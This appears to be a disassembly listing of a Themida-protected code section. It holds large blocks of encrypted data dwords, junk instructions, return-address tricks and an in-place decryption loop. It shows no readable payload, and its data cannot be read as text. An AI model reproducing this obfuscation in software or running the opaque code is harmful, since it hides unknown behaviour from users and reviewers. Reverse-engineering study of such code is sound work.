		dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh
		dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h
		dd 7F5DF70h, 0B5FF4DBAh, 9C3E6885h, 1F2FF579h, 0DA51FD5Fh
		dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah,	0E5743592h
		dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh
		dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch
		dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah
		dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah
		dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h,	0D75FD7Ah
		dd 7A1BB2EFh, 0AAC07072h, 5D7DFE14h, 2C7F518Ah,	0DCE002D0h
		dd 87DFE14h, 0E574E592h, 0F8254D7Ah, 4B9D5779h,	548A0284h
		dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h,	1A8BE192h
		dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h
		dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h,	9177747Eh
		dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 0C81835FFh
		dd 2DC87D72h, 0F37DFE17h, 0FCF8EC0Fh, 0B4769340h, 5C61152Ah
		dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h
		dd 87DF9CCAh, 0BF1835F7h, 96C87D72h, 2F7DFE17h,	12F8F10Fh
		dd 0C3769340h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0D23A6885h
		dd 0C3F8F579h, 27768FEDh, 3D6DF9F0h, 619C4DB9h,	8E9D562Dh
		dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 27769331h
		dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h,	279DAE7Ah
		dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 0C81BB6EFh
		dd 0EA917D72h, 42F539FAh, 2EDE9B75h, 415A15D1h,	0D52F0285h
		dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0FA769335h
		dd 175B60F7h, 0A0F8F579h, 4ECD3E39h, 0D075FD7Ah, 941BB2EFh
		dd 0CEB57E72h, 1A8935F1h, 0F11BB6EFh, 8E975772h, 43BE15B9h
		dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch,	1DB61608h
		dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 5DD217FBh
		dd 0EAFCF579h, 81CF7D86h, 0E57DFE14h, 0F2EC7975h, 73CDFD7Ah
		dd 4375FD7Ah, 5D1BB2E8h, 0ADFCBD72h, 9F769329h,	79F835F1h
		dd 0ED768E01h, 9C3E6F85h, 7FFDF579h, 4801F3Ch, 5E75FD6Dh
		dd 41267F79h, 1A35F579h, 0C80692E0h, 0E1B67E72h, 4B22FEF3h
		dd 7975FD64h, 0D2267779h, 0ECF8F579h, 27768E27h, 2F2B5989h
		dd 0CB75FD72h, 8B3A6F85h, 0AF6F579h, 7185897Eh,	0BC72447Ch
		dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h
		dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h
		dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h
		dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh
		dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah
		dd 2F75151Ah, 162FFD7Ah, 0C8067390h, 0B2CF7072h, 797DFE14h
		dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh,	941BAAE7h
		dd 0D3497D72h, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
		dd 475FD7Ah, 5CB217FBh,	25F8F579h, 0C376932Dh, 5C7D80F1h
		dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 302240F7h, 0EF46F579h
		dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0FA76932Dh, 7874C2FBh
		dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h,	0ABB69C82h
		dd 8B2240F7h, 0F3CDF579h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
		dd 0EFFE3DF1h, 0F91178F7h, 0D08AF579h, 8D8DCA8Bh, 80374E8h
		dd 6870Fh, 9D8B0000h, 7FA0109h,	27C18D89h, 6A07FAh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E3717EC3h, 4196037Dh, 0C71B6219h, 0FA1C0185h, 5FF407h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8C0F6819h, 4, 5400BF66h,	1AED85C7h, 7FAh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D0225DC3h, 28C5B5FFh, 9D2907FAh,	7FA2DA1h
		dd 177D95FFh, 0BF0F07FAh, 0FF006ADAh, 0FA012D95h, 0EBC08B07h
		dd 0E8EA307Ah, 9F5C9807h, 75514423h, 19C8F836h,	0DC72568Bh
		dd 0F96B162Bh, 63526033h, 45FAD526h, 0CEC1521Eh, 0AF147CDAh
		dd 0A8DEA475h, 0EA17D9C3h, 50579785h, 357576B0h, 0F6442289h
		dd 0A86408A7h, 59090C59h, 8B7196B3h, 0E494D96Eh, 0B26B7176h
		dd 47CD4626h, 0CE1B464Ch, 9BC9940Ch, 1D86AB9h, 16534C22h
		dd 42F31683h, 0CA7D280Ah, 0C3D9078Fh, 0E3FB2898h, 8A3CC90Fh
		dd 0E90A0351h, 14h, 7FFEFA2Fh, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_639D2F
; ---------------------------------------------------------------------------
		db 4Dh,	87h, 7Dh
		dd 0D3696985h, 6EA83F3Fh, 0CD775CA4h, 679D3935h, 0CB89A99Bh
		dd 0ED110103h, 0CDB161E3h, 0F0100200h, 20A75BE5h, 0AF29389Ch
		dd 0E482C25Ah, 616E1210h, 9C4B4E3h, 0A91A2AA4h,	0D86A6307h
		dd 456955AFh, 6494AE29h, 0CA5E243Dh, 7E7A0D96h,	0CA706150h
		dd 0E032A12Ah, 0CCF835A0h, 0CA5E23D5h, 922EA52Eh, 0A55FE5EEh
		dd 15017B0Ch, 47FDD579h, 5E2482A1h, 0C1C6DBCAh,	0C6EA14BFh
		dd 23E7FEEAh, 7340CA5Eh, 247AA94Dh, 0FED3CA5Eh,	7F4FEB99h
		dd 4ED0C35Bh, 85732441h, 0C36E644Dh, 5DE4001Fh,	7B4859CAh
		dd 0CE046848h, 0A2F5BE36h, 32D2FEDAh, 1B29A6D2h, 0FDDC67D9h
		dd 8AE69A50h, 15D0B74Dh, 4F5E66D6h, 0D05B2252h,	0DBF60295h
		dd 774CF8D6h, 8C861539h, 5AB8DF68h, 2DF44E56h, 397395E7h
		dd 9FA5324Eh, 9103CB73h, 79390E77h, 339CDCABh, 79CBDAFEh
		dd 8F24CA5Dh, 0B8D4C044h, 0E1073994h, 0CA5D79C2h, 0FF01861Bh
		dd 89772CD5h, 23F6692h,	0B98CA5Eh, 0E411EFB9h, 5D9AE100h
		dd 5A693ACAh, 0C8774769h, 70CD4DE5h, 0AE32CABDh, 9B62C212h
		dd 0ACBCDC5Dh, 57E702DBh, 0CA2AE4F3h, 0AA547F01h, 0BD329BDDh
		dd 150F9E13h, 876D56EFh, 23AB15BEh, 3EEEF1B1h, 0F4A7F1B3h
		dd 53B05D40h, 0B37B1780h, 1033D97h, 0B6215F28h,	29564D79h
		dd 22AFCA5Dh, 39BF0FB1h, 5B442E23h, 0FF731176h,	0CA5DD5DDh
		dd 0CB29E3FAh, 0DB1923AFh, 52FFDA69h, 0C9A509B7h, 360FF50Fh
		dd 5DD6B3B2h, 0D0B70CCAh, 0A66D615h, 3D5037CDh,	595CB2Ch
		dd 4DF7DC80h, 6791EA7h,	122h, 778D462Ah, 2E35A17Dh, 87CA5DE2h
		dd 1EFE893Ah, 0E842C212h, 5302433Dh, 54993444h,	5DF37170h
		dd 0CAF9CACAh, 0B84D8AE6h, 0BCB7BDB0h, 0F113C082h, 0E9D52F58h
		dd 5A0221C5h, 465BCA5Dh, 5AA6B741h, 564ACA5Dh, 0DF25DFFAh
		dd 45A44146h, 0D4E1ADF5h, 0FFD7A512h, 29E47598h, 0D4B80595h
		dd 5D83F1F0h, 0A27A4ACAh, 0F0872DE5h, 0FC7B0CB7h, 1, 0A900D2F8h
		dd 59F21228h, 1B7E466Ah, 0B0EAE6Eh, 11AD5740h, 0B6E1636Dh
		dd 0CCF408CAh, 28CCA904h, 0E3B4828Eh, 0F7E17D19h, 0BF978E3Ah
		dd 0E3F0CA5Dh, 8D5CE4F0h, 0C349771Bh, 22FA4D4h,	5DEDCFD6h
		dd 289B28CAh, 5AEAE488h, 1AEC6F6Ah, 17807E36h, 6C45916Dh
		dd 0FF5DE66h, 0AF55EFE3h, 57F4F7EEh, 557FDB83h,	896D49ABh
		dd 0CA5D9B5Ah, 0E2B51EB3h, 0FC60E0FBh, 6A8E32D2h, 0CA5D9B3Bh
		dd 28583F94h, 0F0DB7FAAh, 0CB1DB64Eh, 0CA5D9AD4h, 0E32FA42Dh
		dd 0AA547FDBh, 0E8FF814Ah, 8AFDD62Eh, 31E1636Eh, 9EC5318Dh
		dd 0F7CA5D9Bh, 0AADB1AAAh, 3043EE26h, 0C2123567h, 5E0C9B11h
		dd 0BDBBCCA7h, 0B1CDF311h, 0D77201Ah, 3A698D31h, 51CA5DFCh
		dd 0AC857F85h, 1FB3BD06h, 0CC6B2E5h, 0AC172DA5h, 0D16B6804h
		dd 8FED9A33h, 30D46E63h, 797BB544h, 0A805D0B0h,	54DD1711h
		dd 35B0857Fh, 5E0299B6h, 5C2BD102h, 76DA6A81h, 834CA85Ch
		dd 7EAE414h, 50F4DECBh,	1BA81BB4h, 0D3DA0D95h, 4091544Bh
		dd 18B3BB57h, 47A5F6E7h, 0FF60748Eh, 0A21EB5E8h, 97943C12h
		dd 43542A10h, 9DC1DDB9h, 57F0140Eh, 5D6C9291h, 9AD6EBCAh
		dd 64940339h, 4EF8C855h, 0E9A3D58Eh, 456E7583h,	0FAC7CA5Dh
		dd 4E83E7C9h, 3D19E3B4h, 68947092h, 0AE30D46Ch,	5F97B437h
		dd 38C2EFBFh, 7AC3B657h, 0A999500Dh, 0FEF60CC5h, 42236235h
		dd 760595CFh, 0DEB7AE1Ah, 0C310CA5Dh, 15423D4h,	3D850000h
		dd 5A20570Fh, 0E3F0906Ah, 126E2E59h, 78937DC2h,	0BD1954E6h
		dd 2D4B3C87h, 3D6490A1h, 96CA5D9Bh, 56FAB60Dh, 42BACD47h
		dd 993A8716h, 68947063h, 4531D36Dh, 0C87A7A88h,	39B19E3Dh
		dd 0AB0F2FAAh, 5D9B1847h, 376071CAh, 39778D49h,	0E58BB915h
		dd 0F985CD6h, 8A260A88h, 5D9B475Eh, 8413A0CAh, 0ACAB5A74h
		dd 981CD9F8h, 0DA1AF0E4h, 0BB65A3B1h, 0EC4A808h, 6235FEF6h
		dd 4B62FE9Ah, 0DC03EFD1h, 35CA5DBCh, 0F4DD1B6Ch, 0CFE374Fh
		dd 6BDB64Fh, 0FA0AC6AAh, 9E6631FAh, 0F7DB16C2h,	0CA5D32E8h
		dd 0A1637041h, 0BE91BB5h, 4411C857h, 5C7AD6C2h,	14834CA8h
		dd 0CEB29249h, 72930400h, 5957293h, 2437FDC5h, 6FF889C8h
		dd 1125728h, 95B90000h,	63EC083Ah, 6E126034h, 8720E460h
		dd 2ED60000h, 63E1EE92h, 758FB51Dh, 6551ABDCh, 24869D49h
		dd 0D2DFCA5Eh, 0E81AB3C5h, 1828A4C8h, 0B84453DCh, 0F1130D9Ch
		dd 0BE36CC05h, 936386FFh, 63EC083Ah, 0ABCF6D70h, 0E875221Ch
		dd 656D51F1h, 11359A74h, 98C7313Eh, 0F1CA5D91h,	0DC9B7E0h
		dd 726F3FF8h, 42F4E064h, 0F4E0E0BFh, 0CA5D6FEDh, 6A467D46h
		dd 0D2B2075Ah, 367AEAA0h, 5D9C9392h, 0B0D7ECCAh, 6E123A62h
		dd 339DE361h, 587A8611h, 0FA0BB9A5h, 982B9CA1h,	51507418h
		dd 0AACA5DD0h, 2A166E19h, 0A62D39Ah, 5D85C7DEh,	419320CAh
		dd 1C64046Ch, 0DD768EB6h, 951C46AAh, 0A239CA5Dh, 388BB915h
		dd 0E36A0BCh, 24E06472h, 0B693568Fh, 0D1015D43h, 6A815C2Bh
		dd 0EEDAB6DAh, 0CA5D94F7h, 6E758350h, 85CA5D95h, 723BB94Bh
		dd 9CA43050h, 9304CF58h, 950AE372h, 299B505h, 1DA4B409h
		dd 448F703Fh, 0AA453h, 0BC040000h, 0A0F0200h, 63395EEEh
		dd 1B4AAE12h, 74CA5E24h, 0B148385Fh, 6084A924h,	0CA5E2441h
		dd 3ABA099Ah, 7CA34F71h, 0D5CA5E24h, 0E9B9F7CCh, 0A1A64AFDh
		dd 0E9DE3C5h, 3057F014h, 2DA8D4h, 5D78CDD4h, 269D26CAh
		dd 5AEAE68Ah, 0FE86119Ah, 0F60E964Ah, 8C861573h, 71F5DF68h
		dd 43AF1179h, 0CA5DD41Ch, 825B2C75h, 5E73D767h,	0A9B81CA4h
		dd 2CA5DD4h, 39AE6B1h, 382AC0Ah, 5DAEC0DFh, 3C8819CAh
		dd 477C6B6Eh, 82A14569h, 99CA5D4Eh, 0F3C00238h,	264AE6A4h
		dd 0AE2699ACh, 7C6EE86Fh, 704A4047h, 8F11E06Ch,	14BF096Bh
		dd 0FE06D0ACh, 5E5A2D06h, 5807DC7Ah, 0A52D51D2h, 0BBCC659Fh
		dd 77745FFFh, 854EA660h, 733B854Eh, 6ADF5742h, 38B61E94h
		dd 61E5B67h, 0F3DF9DEAh, 48FAD3D8h, 10B023ACh, 5ED767C0h
		dd 0D9BE0BECh, 0FCD97539h, 0DF25DFF3h, 0EE0A7D46h, 0D85F62E3h
		dd 42FCF81Ah, 678B2F91h, 0C2636238h, 0AD574091h, 8F606D11h
		dd 7E09BA44h, 6361E9FAh, 38C804C2h, 0C34A0BCh, 0ECEF76E8h
		dd 0C242C20Ch, 55F3DAE9h, 0E123D9F9h, 43A63F48h, 0EFD318B3h
		dd 0C26361F0h, 654B7849h, 62869D49h, 0D2DFC263h, 56945C5h
		dd 0F4BD37CDh, 0C87A55A3h, 2885502Ch, 0D55D9791h, 0B2F3FA12h
		dd 4E854E86h, 3CBF5B6h,	0D6FF17D6h, 0D5FFC82Ch,	0D1B609D6h
		dd 965D514h, 146433C9h,	679934B9h, 0DEF8545Ch, 9205CE26h
		dd 0B81438F8h, 586B9935h, 8184139Ch, 26F96D0h, 0C5DC08A4h
		dd 1EC26404h, 54F5682h,	1BA8C264h, 0C5DC08A8h, 1EC26404h
		dd 5B750295h, 6F000003h, 0E612AE12h, 0CA5E23BFh, 465D8B18h
		dd 9FCA5E24h, 7D9C2013h, 0F1E26752h, 0C2D664A6h, 5DBD0F16h
		dd 6F917ACAh, 75BF271Ch, 714F844Dh, 4040C20Dh, 0C18A6A92h
		dd 34FEEAD6h, 0F1D25821h, 0D3C47E8Dh, 0F554DBE7h, 0F64DBE21h
		dd 4C87E3CDh, 197A52B2h, 21ECA4EAh, 96EE992Ah, 0FC08C6AAh
		dd 0E1626D8Bh, 3CAD33F4h, 84BE19BAh, 0A71CA780h, 0DB696509h
		dd 99F2F1D5h, 764BC263h, 0F5BD8111h, 38BB8E1Ah,	2553445Eh
		dd 380899AAh, 53277B51h, 0B61C4080h, 0AADD768Eh, 0CD0A6652h
		dd 6A59EBE4h, 0AAD6C18Ah, 9E2BC22Fh, 14BF1430h,	35CF04F0h
		dd 182AA3CFh, 0E6BE54DCh, 0BB5C6B9Dh, 4906E5E0h, 0C8A62E52h
		dd 0F8FA0B59h, 0A5442166h, 941DB995h, 64ED0739h, 0CBBC956Fh
		dd 4CD22ADh, 0CFEBD5FEh, 63CFFC23h, 644D55C2h, 604B55DAh
		dd 0A3EF982Bh, 0BFC7139Bh, 64402524h, 0A4302472h, 0D7A523Ch
		dd 6F1D69F8h, 0B71F3B02h, 55EFE38Dh, 0E7116AFh,	0BEh, 71804E32h
		dd 63905E85h, 0D9EAB7C2h, 42CC95EBh, 0A9EEB5F4h, 0A800DC73h
		dd 54DD1711h, 415D417Fh, 5E248E95h, 2719F9CAh, 435A09A2h
		dd 8B65327Fh, 4A5DC674h, 4AADC30Bh, 29CB7956h, 0FC9B34A0h
		dd 0DFF4CEB9h, 0FDD57925h, 0A9B84047h, 0C04A5D39h, 0EF0BE913h
		dd 119A5AE4h, 1BD9636Fh, 0BF8C4F96h, 0AC4A818h,	19D08DFAh
		dd 0C40F67F3h, 9727893Ah, 0B21BA9D6h, 0A799FEE4h, 1D99BB03h
		dd 0FA31B8A6h, 969CE38Dh, 5935CA5Dh, 97929135h,	0D6EBCA5Dh
		dd 5D971312h, 6C576CCAh, 92AA2844h, 3A97D972h, 33FB9700h
		dd 3B85BF17h, 5D978897h, 0C7D0E1CAh, 195B8h, 5974D800h
		dd 0F9CA7A54h, 0C2128E8Eh, 43742379h, 0D4B6E120h, 0CC25B206h
		dd 2A030103h, 537F5B99h, 7A91AA9h, 88AC83B7h, 612658C0h
		dd 70C1735Fh, 1070D257h, 2C943FF9h, 99C82C90h, 0F2C26342h
		dd 420817E1h, 0B51FC263h, 0ED9A278Bh, 0AC7A38Fh, 983C14F0h
		dd 9853A772h, 3D3B4C77h, 6A795D92h, 0C3C26414h,	7614E1EFh
		dd 81520EB0h, 9C00C052h, 0FDEB15C0h, 0C26416E6h, 0D430D2FDh
		dd 0DAEAB7FBh, 89D89D0Dh, 38484FEDh, 3AC2109Dh,	458FF1BAh
		dd 637039BBh, 7959F5A1h, 1CD4C3h, 21C26414h, 89758FB5h
		dd 733CB872h, 0C242C00Dh, 0F25F7AF3h, 36854DEBh, 0FF7EB7E2h
		dd 91481582h, 0FF04CDB1h, 3967B0F2h, 0A1E6DD9Ah, 5F77745Fh
		dd 0FDC65FA5h, 8392EBB3h, 756F803Fh, 1608DF67h,	40477C57h
		dd 1A22B8D2h, 5DC10276h, 0A6E056CCh, 275B2BC3h,	0E589279Ch
		dd 119A5AE8h, 7AD6BA86h, 7C845059h, 0E511AD47h,	0C26356BEh
		dd 4E398A17h, 66CCE3AAh, 0F5046CCAh, 4428883Bh,	7311768Eh
		dd 0E0FFE3C7h, 39BA5FE1h, 35CF0868h, 36BB1662h,	6B876DA7h
		dd 0DEF5DE60h, 0B56F7EE2h, 923E1AE2h, 69669272h, 499419DBh
		dd 7723C592h, 4146F8D3h, 59F545A4h, 0D8FBC378h,	0B87832F8h
		dd 2241A50Bh, 7BBA5F41h, 8F296126h, 0E68A268Ah,	0C83057EDh
		dd 0C262B701h, 0A3C2268Ah, 0FCB25BCCh, 0F8941CA7h, 5BCBD5CCh
		dd 0ABA62EB2h, 2908EEE6h, 147E09BAh, 0A0B1A42Ch, 5F02C9F0h
		dd 6E126438h, 8B23E163h, 3BBA64Eh, 0D3C40F2Ch, 2CD29AFh
		dd 91EDD300h, 20ABA40h,	3956DF8h, 4A665245h, 3684AB7Ah
		dd 0E2B5E893h, 614C7F0Eh, 22BE06D2h, 4FF33557h,	0DAE913C0h
		dd 67710DADh, 0A6CAE6DDh, 4FD81C28h, 35A0BC48h,	9CE41CB8h
		dd 0FDC31030h, 122E35A1h, 3A87C25Bh, 5D01BD4Dh,	9831D371h
		dd 0E9C611EFh, 3F8152E8h, 0DF8DB61Bh, 0AB015032h, 3F08ECD7h
		dd 0AC10AC58h, 5AE51948h, 366172C2h, 585E0EC2h,	79834F3Ah
		dd 0CE485F7Bh, 0AB2EA736h, 0C944C9Eh, 0FE72F703h, 76EF98A7h
		dd 36FBC373h, 0D8626FD2h, 2A387CECh, 8EB01B5Dh,	8D2AA232h
		dd 1DCC7065h, 5DA3AAB9h, 25AE034Ah, 0BACD775Bh,	9BA53050h
		dd 0FBD57915h, 0A3809F49h, 0C8D94A5Dh, 0F55945BFh, 5B8729DBh
		dd 4A5DA344h, 7583149Dh, 302F935Ch, 894A5DA3h, 0A3A2C125h
		dd 0A6FB4A5Dh, 660AA61Dh, 9019DB69h, 4A617D07h,	0A30A19BDh
		dd 4E634A5Dh, 79537F85h, 697C2DC7h, 5703E572h, 0DF25DFF3h
		dd 0FD451847h, 0BB084878h, 6ADA11CCh, 677E6A46h, 0C04A5DEBh
		dd 0EADE05F3h, 6A374A5Dh, 0FBF0DB1Dh, 1FA132ECh, 876D973Bh
		dd 3539D9BEh, 86BC159Ah, 0D2EEE56Eh, 485CCD02h,	8153536Dh
		dd 65AC8133h, 7804938Dh, 57A0149Ch, 33F9BFFFh, 1A1364h
		dd 2D750000h, 0B2C64B95h, 0B1E3B4C2h, 0E1636E12h, 5CFD8A23h
		dd 11339CC0h, 672D5AF3h, 0FAFA02D2h, 0B351F3DEh, 10F40EC7h
		dd 9C58E8E4h, 16EE16C0h, 9C58ECEAh, 0BE913C0h, 0A65ED8EFh
		dd 20E418BAh, 5B545372h, 4C381h, 0EB830000h, 241C8704h
		dd 3A98685Ch, 0C890000h, 185A6824h, 14890000h, 75856824h
		dd 0C8B0803h, 4C48124h,	81000000h, 4ECh, 24248900h, 4240483h
		dd 62C5685Ah, 0C890000h, 8428F24h, 5A2434FFh, 4C481h, 34FF0000h
		dd 0C4815924h, 4, 0F6FCB3E9h
		db 0FFh, 7Dh, 4Dh
; ---------------------------------------------------------------------------


loc_639D2F:				; CODE XREF: Themida_:00639084j
		mov	eax, 80381C9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		aam	65h
		fidivr	dword ptr [edi+1Ch]
		sub	[edx+edx-6Dh], esi
		sahf
		sbb	ch, [edi-73h]
		lea	ebx, [ebx]
		add	dword ptr [ebx], 8
		push	0
		push	edx
		call	sub_639D55
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_639D55	proc near		; CODE XREF: Themida_:00639D4Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_639D55	endp

; ---------------------------------------------------------------------------
		push	ds
		mov	ebp, 0C18D89F8h
		daa
		cli
		pop	es
		mov	bx, ax
		mov	dword ptr [ebp+7FA1C01h], 66ACh
		push	0
		push	ebp
		call	sub_639D87
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_639D87	proc near		; CODE XREF: Themida_:00639D7Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_639D87	endp

; ---------------------------------------------------------------------------
		sub	ch, dh
		push	ecx
		mov	ebx, ecx
		pop	ebx
		mov	dword ptr [ebp+7FA1AEDh], 0
		push	0
		push	edx
		call	sub_639DB2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_639DB2	proc near		; CODE XREF: Themida_:00639DAAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_639DB2	endp

; ---------------------------------------------------------------------------
		dw 56FCh
		dd 0BB6623EDh, 0BF0FF456h, 29B5FFC0h, 8907FA24h, 0FA1CE995h
		dd 7D95FF07h, 6A07FA17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 46A6C351h, 6AD5164Dh
		dd 11810F0Ch, 0E8000000h, 5, 0AB25DD0Eh, 0E99D294Fh, 5807FA18h
		dd 95FF006Ah, 7FA012Dh,	4AEBC08Bh, 0B6FFC6BBh, 7AD03891h
		dd 2AA18243h, 228C8A39h, 0C868BEE9h, 2467EA69h,	0BF3A5551h
		dd 4A4020E2h, 56DBA8C6h, 68A4CF42h, 0FD6B8A3Eh,	75B5876Dh
		dd 8A7EC0B2h, 3D509AABh, 319BC149h, 0B224728Eh,	4D2ABD19h
		dd 95195A32h, 9E8025Ah,	9D000000h, 0FD9CE5BAh, 5E0AD0E8h
		dd 192DB58Bh, 895F07FAh, 0FA154D85h, 8AC78107h,	6600006Ch
		dd 0BB9F5EBEh, 0
; ---------------------------------------------------------------------------
		jmp	loc_639EA4
; ---------------------------------------------------------------------------
		db 21h,	0E8h, 4
		dd 3E89D9EDh
; ---------------------------------------------------------------------------


loc_639EA4:				; CODE XREF: Themida_:00639E98j
					; Themida_:00639ED9j
		push	dword ptr [ebx+edi]
		cld
		pop	edx
		mov	eax, 4EF4E81h
		xor	edx, 34C3E616h
		adc	esi, 409CF5A9h
		sub	edx, 22E0DE65h
		sbb	cl, 67h
		sub	edx, 27D6F7BFh
		movsx	ecx, dx
		mov	[edi+ebx], edx
		clc
		sub	ebx, 4
		cmp	ebx, 0FFFF93E8h
		jnz	loc_639EA4
		push	edi
		push	ecx
		mov	ecx, [ebp+7FA121Dh]
		pop	esi
		pop	esi
		jmp	short loc_639EF7
; ---------------------------------------------------------------------------
		db 0DFh
		dd 767288F4h, 9A6D793Eh
		db 0E8h, 6Dh, 7Ah
; ---------------------------------------------------------------------------


loc_639EF7:				; CODE XREF: Themida_:00639EE9j
		jmp	loc_63AE08
; ---------------------------------------------------------------------------
		jmp	loc_63AE01
; ---------------------------------------------------------------------------
		db 0D5h, 0FFh, 45h
		dd 1B21B1CDh, 36F007E7h, 152FA4CCh, 2FD501FDh, 83D1F1E3h
		dd 2549B94Bh, 856999ABh, 2848BA48h, 0D87F93ADh,	0A0E100E4h
		dd 1C3AC25Ah, 0FAF7E07Ch, 54B023D9h, 12080C7Bh,	241B4AAEh
		dd 5F74CA5Eh, 246E7561h, 0FAC7CA5Eh, 8B606B8Dh,	6942C27Ch
		dd 0A2FE9A5Ah, 5E242F36h, 4C3B88CAh, 1FA1A32Ch,	0F601A18Fh
		dd 1C6B68C9h, 0ECD8B460h, 0CA5D87F5h, 8240C00Ch, 0BE1A6631h
		dd 8A6AA433h, 0C2F5C7C2h, 0F2E180E7h, 0D1CFDFE1h, 9A2AA6B0h
		dd 0B5611B6Ch, 5F13E99h, 0CA5DF9DEh, 9B596A37h,	83CC212h
		dd 0D0ECCC37h, 941DB9C7h, 0EA18B538h, 7292410Ah, 0FEC6EAD9h
		dd 0B0964903h, 0EC16BF89h, 3943F08h, 11C19D79h,	944009EBh
		dd 8EBFD860h, 0E315825Dh, 83A246EBh, 0DCCA5D8Fh, 98B4FCC7h
		dd 65EE063Eh, 7490B21Bh, 6450ACDBh, 8F859C48h, 0D5DECA5Dh
		dd 762123ABh, 7660498Ah, 269D36CEh, 0FE2F2CEh, 5815CA63h
		dd 1717A000h, 0A71C62D8h, 11F309C9h, 9A314F38h,	5380824Dh
		dd 0A52D516Dh, 1CCC659Fh, 0CA5DC305h, 0BA42555Eh, 0B16B82DEh
		dd 5389AE6h, 550FFC8Eh,	961AA924h, 3D3DCA0Eh, 0C5D2AAC2h
		dd 0DA535B37h, 0DB9FB778h, 4C0EF4A3h, 485EE7ECh, 0EB561B24h
		dd 1EA231A2h, 886C9042h, 0CED501BFh, 27CA5D3Bh,	6F4BED9Ah
		dd 8F9DDA5Fh, 0BEC29B6Eh, 3B14F014h, 0D760A44Ch, 8DF1D260h
		dd 6A43C143h, 63951D1Dh, 6411C4D6h, 0B4FCC40Fh,	411A4EFBh
		dd 80FC8BE5h, 3094F894h, 0C2597631h, 0B0AF398Ah, 9C25976h
		dd 0ECD76D65h, 0D54E5D9Bh, 797F699Eh, 0DAD6ED22h, 0DCAB5976h
		dd 3F42922Eh, 58ECE682h, 14C1139Ch, 0CACB0D9Bh,	7B7F6D3Ch
		dd 0AA413F48h, 0DF4C4671h, 419236DEh, 0C32B2F7Fh, 4A6B5440h
		dd 77D3BF3Dh, 0CB63A15Bh, 41E30DF6h, 0FEC6FD57h, 0ACD2803Fh
		dd 7701866Ch, 3CE50A41h, 0DA1A2AA6h, 0D232D2FEh, 0F9569510h
		dd 0B1213DE1h, 0F4E0698Bh, 0BB631Ch, 0E27B0C65h, 0B8133707h
		dd 0B2E56E86h, 0FEEA37C6h, 47CEB1E7h, 0C40D7340h, 0D6EDC63Eh
		dd 1312B6DAh, 6A47CEB2h, 0CEB2677Eh, 0CFF3C047h, 39F59502h
		dd 186BC15h, 0FED72F09h, 745FE5F1h, 0B279A84Ch,	1D247CEh
		dd 0EED2EED2h, 0CEB1DB0Ah, 599F3447h, 47CEB24Ah, 0B7890EA3h
		dd 26F1CBD3h, 0D09AFEDEh, 0C41931C7h, 0BEA24FD1h, 95A5F212h
		dd 0BBD6CDF9h, 0FB413FCAh, 0E8B3F434h, 73607151h, 5E85714Dh
		dd 0B73FCAD0h, 33DF9DEAh, 8470BD17h, 3FCAD05Dh,	0B1D6EDB6h
		dd 0AFD06CFh, 8B139B44h, 0C63EC60Ch, 39AD6EDh, 7162EB09h
		dd 0F5B67F4Fh, 684E3C2Bh, 0AFCB731Fh, 53DC1822h, 699B3444h
